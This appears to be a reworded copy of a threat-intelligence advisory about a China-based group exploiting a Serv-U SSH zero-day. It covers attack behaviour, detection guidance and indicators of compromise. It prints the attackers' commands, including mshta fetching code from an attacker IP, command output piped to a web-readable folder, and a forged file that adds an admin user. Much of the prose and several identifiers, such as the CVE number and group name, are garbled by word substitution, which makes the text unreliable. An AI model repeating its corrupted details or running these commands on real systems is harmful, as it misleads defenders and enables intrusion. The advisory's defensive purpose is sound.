Microsoft has seen a 0-day remote code execution exploit being used to attack SolarWinds Serv-U FTP software in limited and targeted attacks. The Microsoft Threat Intelligence Center( MSTIC) attributes this campaign with high confidence to DEV-0 322, a group operating out of China, based on find victimology, tactics, and procedures.

The vulnerability being exploited is CVE-2 021 -3 5211, which was recently patched by SolarWinds. The vulnerability, which Microsoft reported to SolarWinds, exists in Serv-U’s implementing the Secure Shell( SSH) protocol. If Serv-U’s SSH is exposed to the internet, successful exploitation would give attackers ability to remotely operated arbitrary code with privileges, allowing them to perform acts like installing and operate malicious payloads, or view and alter data. We strongly urge all customers to update their instances of Serv-U to the latest available version.

Microsoft 365 Defender has been protecting customers against malicious activity resulting from successful exploitation, even before the security patch was available. Microsoft Defender Antivirus blocks malicious files, behavior, and warheads. Our endpoint protection solution sees and raises alertings for the attacker’s follow-on malicious actions. Microsoft Threat Experts customers who were affected were notified of attacker activity and were facilitated in responding to the attack.

Microsoft would like to thank SolarWinds for their cooperation and quick response to the vulnerability we reported.

Who is DEV-0 322?

MSTIC trails and investigates a range of malicious cyber activities and operations. During the tracking and investigation stages prior to when MSTIC reaches high confidence about the origin or identity of the actor behind an operation, we refer to the unidentified threat actor as a “development group” or “DEV group” and assigns each DEV group a unique number( DEV- ####) for tracking purposes.

MSTIC has observed DEV-0 322 targeting entities in the U.S. Defense Industrial Base Sector and software companies. Project activities group is based in China and has been observed using commercial VPN solutions and compromised consumer routers in their attacker infrastructure.

Strike details

MSTIC discovered the 0-day assault behaviour in Microsoft 365 Defender telemetry during a routine investigation. An anomalous malicious process was found to be spawning from the Serv-U process, suggesting that it had been compromised. Some examples of the malicious procedures spawned from Serv-U.exe include 😛 TAGEND

C :\ Windows \ System3 2 \ mshta.exe http :// 144 [.] 34 [.] 179 [.] 162/ a( defanged) cmd.exe/ c whoami> “./ Client/ Common/ redacted.txt” cmd.exe/ c dir> “.\”,:,[]
Client \ Common \ redacted.txt” cmd.exe/ c “” C :\ Windows \ Temp \ Serv-U.bat “” powershell.exe C :\ Windows \ Temp \ Serv-U.bat cmd.exe/ c character \\ redacted \ redacted.Archive> “C:\ProgramData\RhinoSoft\Serv-U\Users\Global Users\redacted.Archive”

We find DEV-0 322 piping the output of their cmd.exe commands to files in the Serv-U \ Client \ Common \ folder, which is accessible from the internet by default, so that the attackers could retrieve the outcome of that the commands. The actor was also determined adding a new global user to Serv-U, effectively adding themselves as a Serv-U administrator, by manually creating a crafted. Archive file in the Global Users directory. Serv-U user information is stored in these. Archive files.

Due to the way DEV-0 322 had written their code, when the exploit successfully compromises the Serv-U process, an exception is generated and logged to a Serv-U log file, DebugSocketLog.txt. The process could also crash after a malicious command was run.

By reviewing telemetry, we recognized features of the exploit, but not a root-cause vulnerability. MSTIC worked with the Microsoft Offensive Security Research team, who performed vulnerability research on the Serv-U binary and identified the vulnerability through black box analysis. Once a root make was observed, we reported the vulnerability to SolarWinds, who responded rapidly to understand the issue and build a patch.

To protect clients before a spot was available, the Microsoft 365 Defender team promptly liberated detections that catch known malicious behaviours, ensuring patrons are protected from and alerted to malicious activity related to the 0-day. Affected customers enrolled to Microsoft Threat Experts, our overseen threat hunting service, received a targeted attack notification, which contained details of the compromise. The Microsoft Threat Experts and MSTIC squads worked closely with these customers to respond to the attack and guarantee their environments were secure.

Detection guidance

Customers should review the Serv-U DebugSocketLog.txt log file for exception messages like the line below. A C0000005; CSUSSHSocket :: ProcessReceive exception can indicate that an exploit was attempted, but it can also appear for unrelated reasons. Either way, if the exception is procured, clients should carefully review their logs for behaviors and indicators of compromise discussed here.

EXCEPTION: C0000005; CSUSSHSocket :: ProcessReceive (); Type: 30; puchPayLoad= 0x03e909f6; nPacketLength= 76; nBytesReceived= 80; nBytesUncompressed= 156; uchPaddingLength= 5

Additional signs of potential compromise include 😛 TAGEND

Recent created in. txt files in the Client \ Common \ directory for the Serv-U installation. These files may contain output from Windows commands like whoami and dir. Serv-U.exe spawning child processes that are not part of normal operations. These could change depending on the customer environment, but we indicate searching for:

mshta.exe powershell.exe cmd.exe( or conhost.exe then spawning cmd.exe) with any of the following in the command line:

whoami dir ./ Client/ Common .\Client\Common kind[ a file path]>” C :\ ProgramData \ RhinoSoft \ Serv-U \ Users \ Global Users \[ file name ]. Archive”

Any process with any of the following in the command line:

C :\ Windows \ Temp \

The addition of any unrecognized global users to Serv-U. This can be checked in the Users tab of the Serv-U Management Console, as shown below. It are also welcome to be checked by looking for recently created files in C :\ ProgramData \ RhinoSoft \ Serv-U \ Users \ Global Users, which appears to store the Global consumers knowledge.

Detection details Antivirus detections

Microsoft Defender Antivirus sees threat components as the following malware 😛 TAGEND

Behavior: Win3 2/ ServuSpawnSuspProcess.A Behavior:Win32/ServuSpawnCmdClientCommon.A Endpoint detection and response( EDR) alertings

Alerts with the following titles in Microsoft Defender for Endpoint can indicate threat activity on your network 😛 TAGEND

Suspicious behaviour by Serv-U.exe

Azure Sentinel query

To locate possible exploitation activity using Azure Sentinel, clients can find a Sentinel query containing these indicators in this GitHub repository.

Indicators of compromise( IOCs)

98 [.] 176 [.] 196 [.] 89 68[.]235[.]178[.]32 208 [.] 113 [.] 35 [.] 58 144[.]34[.]179[.]162 97 [.] 77 [.] 97 [.] 58 hxxp://144[.]34[.]179[.]162/a C :\ Windows \ Temp \ Serv-U.bat C:\Windows\Temp\test\current.dmp

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